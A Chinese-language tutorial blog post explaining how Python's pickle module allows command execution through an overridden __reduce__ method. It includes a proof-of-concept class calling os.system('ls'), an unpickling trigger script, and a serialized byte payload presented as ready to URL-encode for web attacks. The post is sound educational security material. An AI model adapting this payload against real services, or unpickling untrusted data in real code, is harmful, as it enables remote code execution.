Python Pickle命令執行漏洞原理 2019-06-04 #Python #Pickle
簡介
Python的序列化/反序列化模塊有兩個,一個是Pickle、一個是cPickle,pickle
實現了對一個 Python 對象結構的二進制序列化和反序列化。 “Pickling” 是將 Python 對象和所擁有的層次結構被轉化為一個字節流的過程,而 “unpickling” 是相反的操作,會將(來自一個 binary file 或者 bytes-like object 的)字節流轉化回一個對象層次結構。Pickling(和 unpickling)也被稱為“序列化”, “編組” 或者 “平面化”。而為了避免混亂,此處采用術語 “pickling” 和 “unpickling”。
Python官方文檔上也說明了:pickle
模塊在接受被錯誤地構造或者被惡意地構造的數據時不安全。永遠不要 unpickle 來自于不受信任的或者未經驗證的來源的數據。
Pickle模塊
Pickle模塊有4個主要的方法,分別是:load
、loads
、dump
、dumps
。
具體用法及傳參請自行查看手冊,以下簡單介紹:
load
從文件中讀取已序列化的數據并返回重建的對象結構。
loads
從字節對象中讀取已序列化的數據并返回重建的數據結構。
dump
序列化對象并寫入到文件中。
dumps
序列化對象并返回字節對象。
介紹完4 個方法,不得不提一下__reduce__
魔術方法。
__reduce__
當定義擴展類型時(也就是使用Python的C語言API實現的類型),如果你想pickle它們,你必須告訴Python如何pickle它們。 __reduce__
被定義之后,當對象被Pickle時就會被調用。它要么返回一個代表全局名稱的字符串,Pyhton會查找它并pickle,要么返回一個元組。這個元組包含2到5個元素,其中包括:一個可調用的對象,用于重建對象時調用;一個參數元素,供那個可調用對象使用;被傳遞給 setstate 的狀態(可選);一個產生被pickle的列表元素的迭代器(可選);一個產生被pickle的字典元素的迭代器(可選);
也就是說,如果我們重寫__reduce__
并讓他返回2 個元素,第一個元素為可調用的對象,比如os.system
,第二個元素會被os.system
當做參數調用。
構造基礎Payload
根據上述的理論,我們可以寫出來這樣的代碼pickle_poc.py
:
import pickle
import os
class Poc:
def __reduce__(self):
cmd = "ls"
return os.system, (cmd,)
poc = Poc()
pickle.dump(poc, open('poc.txt', 'wb'))
我們建立了一個Poc
類,重寫了它的__reduce__
方法,返回了兩個元素,第一個元素是os.system
,第二個元素是個tuple
,在反序列化的時候,ls
命令應該會被執行。
我們使用pickle.dump
方法將序列化后的字節寫入了文件。
下面我們來寫一個反序列化的腳本,來觸發漏洞unpickle.py
:
import os
import pickle
pickle.load(open('poc.txt', 'br'))
首先執行pickle_poc.py
生成POC,會發現當前目錄下出現poc.txt
:
然后我們執行unpickle.py
對該poc.txt
進行反序列化:
然后就會發現命令被執行了。
但是目前的payload是二進制格式的,不太方便在實戰中去利用,所以可以使用dumps
方法來導出易于利用的payload,比如:
import pickle
import os
class Poc:
def __reduce__(self):
cmd = "ls"
return os.system, (cmd,)
poc = Poc()
print(pickle.dumps(poc))
使用dumps
生成出來的payload是這樣的:
b’\x80\x03cposix\nsystem\nq\x00X\x02\x00\x00\x00lsq\x01\x85q\x02Rq\x03.’
這樣的payload就可以進行urlencode
編碼以后在web中進行發送了。
后話
本來想找個demo來演示的,但實在是找不到,也懶得寫demo了。
本文主要還是理解一下pickle模塊執行命令的原理,如果有理解錯誤的地方歡迎交流。